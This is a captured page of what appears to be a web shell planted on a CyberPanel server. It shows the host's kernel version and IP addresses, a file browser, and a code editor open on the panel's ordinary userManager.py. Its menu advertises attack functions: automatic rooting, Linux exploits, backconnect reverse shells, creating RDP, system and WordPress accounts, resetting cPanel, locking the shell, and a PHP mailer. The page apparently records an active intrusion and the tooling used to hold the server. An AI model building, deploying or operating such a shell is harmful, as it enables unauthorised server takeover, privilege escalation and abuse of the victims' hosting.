Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
userManagment /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
migrations
[ DIR ]
drwxr-xr-x
static
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.DS_Store
6
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
admin.py
89
B
-rw-r--r--
apps.py
127
B
-rw-r--r--
models.py
83
B
-rw-r--r--
tests.py
9.65
KB
-rw-r--r--
urls.py
1.82
KB
-rw-r--r--
userManager.py
1.94
KB
-rw-r--r--
views.py
32.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : userManager.py
#!/usr/local/CyberCP/bin/python import os, sys sys.path.append('/usr/local/CyberCP') import django os.environ.setdefault("DJANGO_SETTINGS_MODULE", "CyberCP.settings") django.setup() import threading as multi from plogical.acl import ACLManager from plogical.CyberCPLogFileWriter import CyberCPLogFileWriter as logging class UserManager(multi.Thread): def __init__(self, function, extraArgs): multi.Thread.__init__(self) self.function = function self.extraArgs = extraArgs def run(self): try: if self.function == 'controlUserState': self.controlUserState() except: pass def controlUserState(self): try: websites = ACLManager.findAllSites(self.extraArgs['currentACL'], self.extraArgs['user'].pk) from websiteFunctions.website import WebsiteManager from loginSystem.models import Administrator admin = Administrator.objects.get(pk=self.extraArgs['user'].pk) ## ref https://github.com/usmannasir/cyberpanel/issues/1336 ## if current user is admin but not the main admin user then don't suspend all sites only suspend the sites owned by the user if self.extraArgs['currentACL']['admin'] and admin.userName != 'admin': websites = ACLManager.findAllSites({'admin': 0}, self.extraArgs['user'].pk) wm = WebsiteManager() if self.extraArgs['state'] == 'SUSPEND': for items in websites: data = {'websiteName': items, 'state': 'Suspend'} wm.submitWebsiteStatus(self.extraArgs['user'].pk, data) else: for items in websites: data = {'websiteName': items, 'state': 'UN-Suspend'} wm.submitWebsiteStatus(self.extraArgs['user'].pk, data) except BaseException as msg: logging.writeToFile(str(msg) + '[Error:UserManager:32]')
Close